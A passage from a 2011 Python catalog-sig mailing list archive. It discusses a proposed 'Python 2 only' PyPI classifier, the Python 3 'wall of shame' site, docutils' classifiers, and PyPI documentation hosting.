>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111212/67fb2346/attachment.html>
From tjreedy at udel.edu Mon Dec 12 10:17:28 2011
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 12 Dec 2011 04:17:28 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323674893.2710.343.camel@thinko>
References: <1323578652.2710.295.camel@thinko> <4EE5306A.9050200@v.loewis.de>
<1323674893.2710.343.camel@thinko>
Message-ID: <jc4gra$b5p$1@dough.gmane.org>
On 12/12/2011 2:28 AM, Chris McDonough wrote:
> But if the current party line in python-dev that goes something like "if
> you don't want to port to Python 3, you don't have to" is to be
> credible, then ongoing maintainers who choose not to port to Python 3
> should not be subject to pressure exhibited by sites like the "wall of
> shame".
I am a sometimes developer who has no idea what site you are talking
about. But given that it exists and gets way too much attention, I can
the usefulness of the proposal, which seemed senseless until I read this
post.
There is a fairly short list of the best and most widely used library
packages that I *hope* will either get ported or replaced by a new Py 3
package. Basically, enough so that 'don't use Python 3 because it lacks
3rd-party libraries' can be put to rest. But I expect that substantial
portions of the stuff on PyPI never will be.
--
Terry Jan Reedy
From ubershmekel at gmail.com Tue Dec 13 11:29:13 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Tue, 13 Dec 2011 12:29:13 +0200
Subject: [Catalog-sig] "python 2 only" classifier
Message-ID: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
Hi catalog-sig, I'm the wall of shame guy,
This was just brought to my attention by Chris via reddit so I'm sorry
for chiming in late.
Toshio Kuratomi is correct:
> Additionally, I'm not certain of the use case cited. Isn't the utility of
> a site like http://python3wos.appspot.com/ in seeing which popular or
> widely depended upon packages have no python3 version? With that in mind,
> the listing on that page wouldn't seem to depend on whether a package's
> author intends to port to python3.
1. If this forum likes it I'll add a lock icon next to packages with
the "Programming Language :: Python :: 2 :: Only" classifier with the
following mouse-over: "The maintainers of this code have declared it
will run on Python 2 only for the foreseeable future". This might
lessen the social pressure on the maintainers to port. I don't think
it'll help the PR issue.
2. A more useful classifier (in terms of PR) could be "Programming
Language :: Python :: 2 :: Py3k equivalent exists". Which would denote
that I can entirely remove the red package from the wall. This is
currently done manually for the following: 'multiprocessing',
'simplejson', 'argparse', 'uuid', 'setuptools', 'Jinja'. So feel free
to tell me if there are more I should add to this list. A classifier
would mean more work for everyone, though it is the pure and correct
way to go about this.
And I hope I'm not considered the bad guy here. Please do contact me
with any questions or suggestions. I only want to promote python 3
though I know the site has a dual edge to its sword.
--Yuval
From fuzzyman at gmail.com Tue Dec 13 13:17:54 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Tue, 13 Dec 2011 12:17:54 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
Message-ID: <CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> Hi catalog-sig, I'm the wall of shame guy,
>
> This was just brought to my attention by Chris via reddit so I'm sorry
> for chiming in late.
>
> Toshio Kuratomi is correct:
> > Additionally, I'm not certain of the use case cited. Isn't the utility
> of
> > a site like http://python3wos.appspot.com/ in seeing which popular or
> > widely depended upon packages have no python3 version? With that in
> mind,
> > the listing on that page wouldn't seem to depend on whether a package's
> > author intends to port to python3.
>
> 1. If this forum likes it I'll add a lock icon next to packages with
> the "Programming Language :: Python :: 2 :: Only" classifier with the
> following mouse-over: "The maintainers of this code have declared it
> will run on Python 2 only for the foreseeable future". This might
> lessen the social pressure on the maintainers to port. I don't think
> it'll help the PR issue.
>
> 2. A more useful classifier (in terms of PR) could be "Programming
> Language :: Python :: 2 :: Py3k equivalent exists". Which would denote
> that I can entirely remove the red package from the wall. This is
> currently done manually for the following: 'multiprocessing',
> 'simplejson', 'argparse', 'uuid', 'setuptools', 'Jinja'. So feel free
> to tell me if there are more I should add to this list.
unittest2 has a Python 3 port: unittest2py3k
docutils is also Python 3 compatible (since version 0.6), even if they're
not using the trove classifier.
http://docutils.sourceforge.net/
All the best,
Michael Foord
> A classifier
> would mean more work for everyone, though it is the pure and correct
> way to go about this.
>
> And I hope I'm not considered the bad guy here. Please do contact me
> with any questions or suggestions. I only want to promote python 3
> though I know the site has a dual edge to its sword.
>
>
> --Yuval
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/92128940/attachment.html>
From ubershmekel at gmail.com Tue Dec 13 14:24:02 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Tue, 13 Dec 2011 15:24:02 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
Message-ID: <CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com> wrote:
> On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com> wrote:
>> Toshio Kuratomi is correct:
>> > Additionally, I'm not certain of the use case cited. ?Isn't the utility
>> > of
>> > a site like http://python3wos.appspot.com/ in seeing which popular or
>> > widely depended upon packages have no python3 version? ?With that in
>> > mind,
>> > the listing on that page wouldn't seem to depend on whether a package's
>> > author intends to port to python3.
>>
>
> unittest2 has a Python 3 port: unittest2py3k
>
> docutils is also Python 3 compatible (since version 0.6), even if they're
> not using the trove classifier.
>
My initial response was to remove modules that had python 3
equivalents on the wall. This makes sense for eg setuptools and jinja
as it wouldn't be accurate to give them a double green listing and
skew the percentage.
Packages that have a single listing on the top 200 and have a python 3
equivalent I should mark as green. I guess the best solution would be
to consolidate these packages. I'll work on it.
Concerning docutils, I sent an email to Lea Wiemann
(LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
classifier though I don't think I can be held responsible for this
one.
Yuval Greenfield
From fuzzyman at gmail.com Tue Dec 13 14:39:58 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Tue, 13 Dec 2011 13:39:58 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
Message-ID: <CAKCKLWwo14G7t2WJZccm1kUFLc9ic3emHd_xKhwXMNVcPAzu=Q@mail.gmail.com>
On 13 December 2011 13:24, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com> wrote:
> > On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com>
> wrote:
> >> Toshio Kuratomi is correct:
> >> > Additionally, I'm not certain of the use case cited. Isn't the
> utility
> >> > of
> >> > a site like http://python3wos.appspot.com/ in seeing which popular or
> >> > widely depended upon packages have no python3 version? With that in
> >> > mind,
> >> > the listing on that page wouldn't seem to depend on whether a
> package's
> >> > author intends to port to python3.
> >>
> >
> > unittest2 has a Python 3 port: unittest2py3k
> >
> > docutils is also Python 3 compatible (since version 0.6), even if they're
> > not using the trove classifier.
> >
>
> My initial response was to remove modules that had python 3
> equivalents on the wall. This makes sense for eg setuptools and jinja
> as it wouldn't be accurate to give them a double green listing and
> skew the percentage.
>
> Packages that have a single listing on the top 200 and have a python 3
> equivalent I should mark as green. I guess the best solution would be
> to consolidate these packages. I'll work on it.
>
> Concerning docutils, I sent an email to Lea Wiemann
> (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
> classifier though I don't think I can be held responsible for this
> one.
>
What do you mean by held responsible? If a package is Python 3 compatible,
or has a Python 3 version/port/alternative distribution, shouldn't "wall of
shame" (I *really* dislike the name for what it's worth and cringe every
time I write it) reflect the truth?
All the best,
Michael
>
>
> Yuval Greenfield
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/ec8ae0ba/attachment.html>
From ubershmekel at gmail.com Tue Dec 13 14:50:50 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Tue, 13 Dec 2011 15:50:50 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CAKCKLWwo14G7t2WJZccm1kUFLc9ic3emHd_xKhwXMNVcPAzu=Q@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
<CAKCKLWwo14G7t2WJZccm1kUFLc9ic3emHd_xKhwXMNVcPAzu=Q@mail.gmail.com>
Message-ID: <CANSw7Ky1DYH3_1NtQnqKzQ19nWUCXeLR6oBj1AytOwhi9duAMg@mail.gmail.com>
I'm not sure this is the case, but easy_install/pip should check if
the package is python 3 compatible or not before installing. To quote
you:
If a package is Python 3 compatible, or has a Python 3
version/port/alternative distribution, shouldn't "The Python Package
Index" reflect the truth?
Yuval Greenfield
On Tue, Dec 13, 2011 at 3:39 PM, Michael Foord <fuzzyman at gmail.com> wrote:
>
>
> On 13 December 2011 13:24, Yuval Greenfield <ubershmekel at gmail.com> wrote:
>>
>> On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com> wrote:
>> > On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com>
>> > wrote:
>> >> Toshio Kuratomi is correct:
>> >> > Additionally, I'm not certain of the use case cited. ?Isn't the
>> >> > utility
>> >> > of
>> >> > a site like http://python3wos.appspot.com/ in seeing which popular or
>> >> > widely depended upon packages have no python3 version? ?With that in
>> >> > mind,
>> >> > the listing on that page wouldn't seem to depend on whether a
>> >> > package's
>> >> > author intends to port to python3.
>> >>
>> >
>> > unittest2 has a Python 3 port: unittest2py3k
>> >
>> > docutils is also Python 3 compatible (since version 0.6), even if
>> > they're
>> > not using the trove classifier.
>> >
>>
>> My initial response was to remove modules that had python 3
>> equivalents on the wall. This makes sense for eg setuptools and jinja
>> as it wouldn't be accurate to give them a double green listing and
>> skew the percentage.
>>
>> Packages that have a single listing on the top 200 and have a python 3
>> equivalent I should mark as green. I guess the best solution would be
>> to consolidate these packages. I'll work on it.
>>
>> Concerning docutils, I sent an email to Lea Wiemann
>> (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
>> classifier though I don't think I can be held responsible for this
>> one.
>
>
>
> What do you mean by held responsible? If a package is Python 3 compatible,
> or has a Python 3 version/port/alternative distribution, shouldn't "wall of
> shame" (I *really* dislike the name for what it's worth and cringe every
> time I write it) reflect the truth?
>
> All the best,
>
> Michael
>
>>
>>
>>
>> Yuval Greenfield
>
>
>
>
> --
>
> http://www.voidspace.org.uk/
>
> May you do good and not evil
> May you find forgiveness for yourself and forgive others
>
> May you share freely, never taking more than you give.
> -- the sqlite blessing http://www.sqlite.org/different.html
>
>
From fuzzyman at gmail.com Tue Dec 13 15:22:38 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Tue, 13 Dec 2011 14:22:38 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Ky1DYH3_1NtQnqKzQ19nWUCXeLR6oBj1AytOwhi9duAMg@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
<CAKCKLWwo14G7t2WJZccm1kUFLc9ic3emHd_xKhwXMNVcPAzu=Q@mail.gmail.com>
<CANSw7Ky1DYH3_1NtQnqKzQ19nWUCXeLR6oBj1AytOwhi9duAMg@mail.gmail.com>
Message-ID: <CAKCKLWx1ioNTW6+h0agNP+fNcjFYDZzq0G3uJbJGG4y0oRonzQ@mail.gmail.com>
On 13 December 2011 13:50, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> I'm not sure this is the case, but easy_install/pip should check if
> the package is python 3 compatible or not before installing. To quote
> you:
>
> If a package is Python 3 compatible, or has a Python 3
> version/port/alternative distribution, shouldn't "The Python Package
> Index" reflect the truth?
>
My initial reply went privately to Yuval (goddamn lists that don't have
reply-to set correctly ;-).
Anyway, even though the wall-of-shame states that it is based on the PyPI
classifier, I think it would be less of a publicity own goal for the Python
community, and would be much more *useful*, if packages that did support
Python 3 showed up as green...
All the best,
Michael Foord
>
> Yuval Greenfield
>
> On Tue, Dec 13, 2011 at 3:39 PM, Michael Foord <fuzzyman at gmail.com> wrote:
> >
> >
> > On 13 December 2011 13:24, Yuval Greenfield <ubershmekel at gmail.com>
> wrote:
> >>
> >> On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com>
> wrote:
> >> > On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com>
> >> > wrote:
> >> >> Toshio Kuratomi is correct:
> >> >> > Additionally, I'm not certain of the use case cited. Isn't the
> >> >> > utility
> >> >> > of
> >> >> > a site like http://python3wos.appspot.com/ in seeing which
> popular or
> >> >> > widely depended upon packages have no python3 version? With that
> in
> >> >> > mind,
> >> >> > the listing on that page wouldn't seem to depend on whether a
> >> >> > package's
> >> >> > author intends to port to python3.
> >> >>
> >> >
> >> > unittest2 has a Python 3 port: unittest2py3k
> >> >
> >> > docutils is also Python 3 compatible (since version 0.6), even if
> >> > they're
> >> > not using the trove classifier.
> >> >
> >>
> >> My initial response was to remove modules that had python 3
> >> equivalents on the wall. This makes sense for eg setuptools and jinja
> >> as it wouldn't be accurate to give them a double green listing and
> >> skew the percentage.
> >>
> >> Packages that have a single listing on the top 200 and have a python 3
> >> equivalent I should mark as green. I guess the best solution would be
> >> to consolidate these packages. I'll work on it.
> >>
> >> Concerning docutils, I sent an email to Lea Wiemann
> >> (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
> >> classifier though I don't think I can be held responsible for this
> >> one.
> >
> >
> >
> > What do you mean by held responsible? If a package is Python 3
> compatible,
> > or has a Python 3 version/port/alternative distribution, shouldn't "wall
> of
> > shame" (I *really* dislike the name for what it's worth and cringe every
> > time I write it) reflect the truth?
> >
> > All the best,
> >
> > Michael
> >
> >>
> >>
> >>
> >> Yuval Greenfield
> >
> >
> >
> >
> > --
> >
> > http://www.voidspace.org.uk/
> >
> > May you do good and not evil
> > May you find forgiveness for yourself and forgive others
> >
> > May you share freely, never taking more than you give.
> > -- the sqlite blessing http://www.sqlite.org/different.html
> >
> >
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/9a322d6f/attachment.html>
From fuzzyman at gmail.com Tue Dec 13 15:45:52 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Tue, 13 Dec 2011 14:45:52 +0000
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CABiJP=J=RF+yd5vZpYhjxYGYJ76HB8wZKiYUQq6VPewG1V7ifw@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
<CABiJP=J=RF+yd5vZpYhjxYGYJ76HB8wZKiYUQq6VPewG1V7ifw@mail.gmail.com>
Message-ID: <CAKCKLWxYcX1sv8HiQnYxyPOYKixCDFi0LLrPh_x2e+d0-sG5zw@mail.gmail.com>
On 13 December 2011 14:36, David Goodger <goodger at python.org> wrote:
> Sorry, I have no idea what this message is about.
> Some context/explanation please?
> What action are you asking for?
>
docutils supports Python 3 (according to the project website), but does not
use the Python 3 trove classifier on PyPI. That means it incorrectly shows
up as not supporting Python 3 on the "wall of shame" website.
http://python3wos.appspot.com/
All the best,
Michael Foord
>
> Note that Lea Wiemann is no longer active in the Docutils project.
>
> -- David Goodger
>
> On Tue, Dec 13, 2011 at 08:24, Yuval Greenfield <ubershmekel at gmail.com>
> wrote:
> > On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com>
> wrote:
> >> On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com>
> wrote:
> >>> Toshio Kuratomi is correct:
> >>> > Additionally, I'm not certain of the use case cited. Isn't the
> utility
> >>> > of
> >>> > a site like http://python3wos.appspot.com/ in seeing which popular
> or
> >>> > widely depended upon packages have no python3 version? With that in
> >>> > mind,
> >>> > the listing on that page wouldn't seem to depend on whether a
> package's
> >>> > author intends to port to python3.
> >>>
> >>
> >> unittest2 has a Python 3 port: unittest2py3k
> >>
> >> docutils is also Python 3 compatible (since version 0.6), even if
> they're
> >> not using the trove classifier.
> >>
> >
> > My initial response was to remove modules that had python 3
> > equivalents on the wall. This makes sense for eg setuptools and jinja
> > as it wouldn't be accurate to give them a double green listing and
> > skew the percentage.
> >
> > Packages that have a single listing on the top 200 and have a python 3
> > equivalent I should mark as green. I guess the best solution would be
> > to consolidate these packages. I'll work on it.
> >
> > Concerning docutils, I sent an email to Lea Wiemann
> > (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
> > classifier though I don't think I can be held responsible for this
> > one.
> >
> >
> > Yuval Greenfield
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/26b7c6a8/attachment.html>
From goodger at python.org Tue Dec 13 15:36:29 2011
From: goodger at python.org (David Goodger)
Date: Tue, 13 Dec 2011 09:36:29 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
Message-ID: <CABiJP=J=RF+yd5vZpYhjxYGYJ76HB8wZKiYUQq6VPewG1V7ifw@mail.gmail.com>
Sorry, I have no idea what this message is about.
Some context/explanation please?
What action are you asking for?
Note that Lea Wiemann is no longer active in the Docutils project.
-- David Goodger
On Tue, Dec 13, 2011 at 08:24, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com> wrote:
>> On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com> wrote:
>>> Toshio Kuratomi is correct:
>>> > Additionally, I'm not certain of the use case cited. ?Isn't the utility
>>> > of
>>> > a site like http://python3wos.appspot.com/ in seeing which popular or
>>> > widely depended upon packages have no python3 version? ?With that in
>>> > mind,
>>> > the listing on that page wouldn't seem to depend on whether a package's
>>> > author intends to port to python3.
>>>
>>
>> unittest2 has a Python 3 port: unittest2py3k
>>
>> docutils is also Python 3 compatible (since version 0.6), even if they're
>> not using the trove classifier.
>>
>
> My initial response was to remove modules that had python 3
> equivalents on the wall. This makes sense for eg setuptools and jinja
> as it wouldn't be accurate to give them a double green listing and
> skew the percentage.
>
> Packages that have a single listing on the top 200 and have a python 3
> equivalent I should mark as green. I guess the best solution would be
> to consolidate these packages. I'll work on it.
>
> Concerning docutils, I sent an email to Lea Wiemann
> (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
> classifier though I don't think I can be held responsible for this
> one.
>
>
> Yuval Greenfield
From fuzzyman at gmail.com Tue Dec 13 17:21:24 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Tue, 13 Dec 2011 16:21:24 +0000
Subject: [Catalog-sig] Hosting documentation on PyPI
Message-ID: <CAKCKLWwwidT64waRrvkO1DfyfQX5VxqpF6Rz00aQjAWC0Jmktw@mail.gmail.com>
Hey all,
PyPI does documentation hosting, which is awesome. Are there docs or a
tutorial on using this feature?
PyPI itself links to this page, which is a dead link:
http://wiki.python.org/moin/PyPiHostingDocumentation
Linked to from: http://pypi.python.org/pypi
All the best,
Michael Foord
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/2ce77705/attachment.html>
From a.badger at gmail.com Tue Dec 13 17:57:52 2011
From: a.badger at gmail.com (Toshio Kuratomi)
Date: Tue, 13 Dec 2011 08:57:52 -0800
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CABiJP=J=RF+yd5vZpYhjxYGYJ76HB8wZKiYUQq6VPewG1V7ifw@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com>
<CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com>
<CABiJP=J=RF+yd5vZpYhjxYGYJ76HB8wZKiYUQq6VPewG1V7ifw@mail.gmail.com>
Message-ID: <20111213165752.GJ8294@unaka.lan>
On Tue, Dec 13, 2011 at 09:36:29AM -0500, David Goodger wrote:
> Sorry, I have no idea what this message is about.
> Some context/explanation please?
> What action are you asking for?
>
> Note that Lea Wiemann is no longer active in the Docutils project.
>
I think Yuval is asking that the pypi page for docutils be updated to have::
Programming Language :: Python :: 3
as well as::
Programming Language :: Python :: 2
I'm not sure if that's right, though -- I just checked the docutils page and
it has ::
Programming Language :: Python
which seems to be a valid method of marking a module as belonging to
multiple sub-categories.
(This thread has some other ideas as well, but those don't directly impact
docutils)
-Toshio
> -- David Goodger
>
> On Tue, Dec 13, 2011 at 08:24, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> > On Tue, Dec 13, 2011 at 2:17 PM, Michael Foord <fuzzyman at gmail.com> wrote:
> >> On 13 December 2011 10:29, Yuval Greenfield <ubershmekel at gmail.com> wrote:
> >>> Toshio Kuratomi is correct:
> >>> > Additionally, I'm not certain of the use case cited. ?Isn't the utility
> >>> > of
> >>> > a site like http://python3wos.appspot.com/ in seeing which popular or
> >>> > widely depended upon packages have no python3 version? ?With that in
> >>> > mind,
> >>> > the listing on that page wouldn't seem to depend on whether a package's
> >>> > author intends to port to python3.
> >>>
> >>
> >> unittest2 has a Python 3 port: unittest2py3k
> >>
> >> docutils is also Python 3 compatible (since version 0.6), even if they're
> >> not using the trove classifier.
> >>
> >
> > My initial response was to remove modules that had python 3
> > equivalents on the wall. This makes sense for eg setuptools and jinja
> > as it wouldn't be accurate to give them a double green listing and
> > skew the percentage.
> >
> > Packages that have a single listing on the top 200 and have a python 3
> > equivalent I should mark as green. I guess the best solution would be
> > to consolidate these packages. I'll work on it.
> >
> > Concerning docutils, I sent an email to Lea Wiemann
> > (LeWiemann at gmail.com) and am cc-ing David Goodger for the trove
> > classifier though I don't think I can be held responsible for this
> > one.
> >
> >
> > Yuval Greenfield
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 198 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111213/aa417f2a/attachment.pgp>
From carl at oddbird.net Tue Dec 13 18:51:03 2011
From: carl at oddbird.net (Carl Meyer)
Date: Tue, 13 Dec 2011 10:51:03 -0700
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Ky1DYH3_1NtQnqKzQ19nWUCXeLR6oBj1AytOwhi9duAMg@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com> <CAKCKLWx_5=pawxXBJOMe+Yc3fyJV+OuB_4MD_ZSn_PznvFo8OQ@mail.gmail.com> <CANSw7KzWWeRjRoAw8xmR3bjfxJLyXTuzCGH7+YL1PYbuQAoC+A@mail.gmail.com> <CAKCKLWwo14G7t2WJZccm1kUFLc9ic3emHd_xKhwXMNVcPAzu=Q@mail.gmail.com>
<CANSw7Ky1DYH3_1NtQnqKzQ19nWUCXeLR6oBj1AytOwhi9duAMg@mail.gmail.com>
Message-ID: <4EE79087.4010101@oddbird.net>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On 12/13/2011 06:50 AM, Yuval Greenfield wrote:
> I'm not sure this is the case, but easy_install/pip should check if
> the package is python 3 compatible or not before installing.
Pip does not check the trove classifiers - I'm not aware of any other
way to check for Python version support.
I'm not sure that it would be a good idea for pip to start checking
trove classifiers - too many packages just don't use them, or haven't
updated them correctly. I guess it could be an overridable warning,
perhaps. And I suppose that would encourage people to start setting them
correctly...
Carl
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAk7nkIcACgkQ8W4rlRKtE2f7EwCglViVM1gDFHqnKMHg+/3n8dYI
rvIAn0fP22eEC7vGsbGvlmoqppBrlFOI
=HrZI
-----END PGP SIGNATURE-----
From martin at v.loewis.de Wed Dec 14 01:11:58 2011
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 14 Dec 2011 01:11:58 +0100
Subject: [Catalog-sig] Hosting documentation on PyPI
In-Reply-To: <CAKCKLWwwidT64waRrvkO1DfyfQX5VxqpF6Rz00aQjAWC0Jmktw@mail.gmail.com>
References: <CAKCKLWwwidT64waRrvkO1DfyfQX5VxqpF6Rz00aQjAWC0Jmktw@mail.gmail.com>
Message-ID: <4EE7E9CE.9040803@v.loewis.de>
> PyPI does documentation hosting, which is awesome. Are there docs or a
> tutorial on using this feature?
As a package author, if you go to your package's page, you find
documentation for that.
Regards,
Martin
From fuzzyman at gmail.com Wed Dec 14 01:26:59 2011
From: fuzzyman at gmail.com (Michael Foord)
Date: Wed, 14 Dec 2011 00:26:59 +0000
Subject: [Catalog-sig] Hosting documentation on PyPI
In-Reply-To: <4EE7E9CE.9040803@v.loewis.de>
References: <CAKCKLWwwidT64waRrvkO1DfyfQX5VxqpF6Rz00aQjAWC0Jmktw@mail.gmail.com>
<4EE7E9CE.9040803@v.loewis.de>
Message-ID: <CAKCKLWzs97aC+3Kziwiin3=PyvJq9yxKeQuHmS4ipnWnsQPhsg@mail.gmail.com>
On 14 December 2011 00:11, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> > PyPI does documentation hosting, which is awesome. Are there docs or a
> > tutorial on using this feature?
>
> As a package author, if you go to your package's page, you find
> documentation for that.
>
>
Thanks I found it. I was trying to find a link I could give to a friend who
wanted instructions.
All the best,
Michael Foord
> Regards,
> Martin
>
--
http://www.voidspace.org.uk/
May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html
-------------- next part --------------
An HTML attachment was scrubbed...
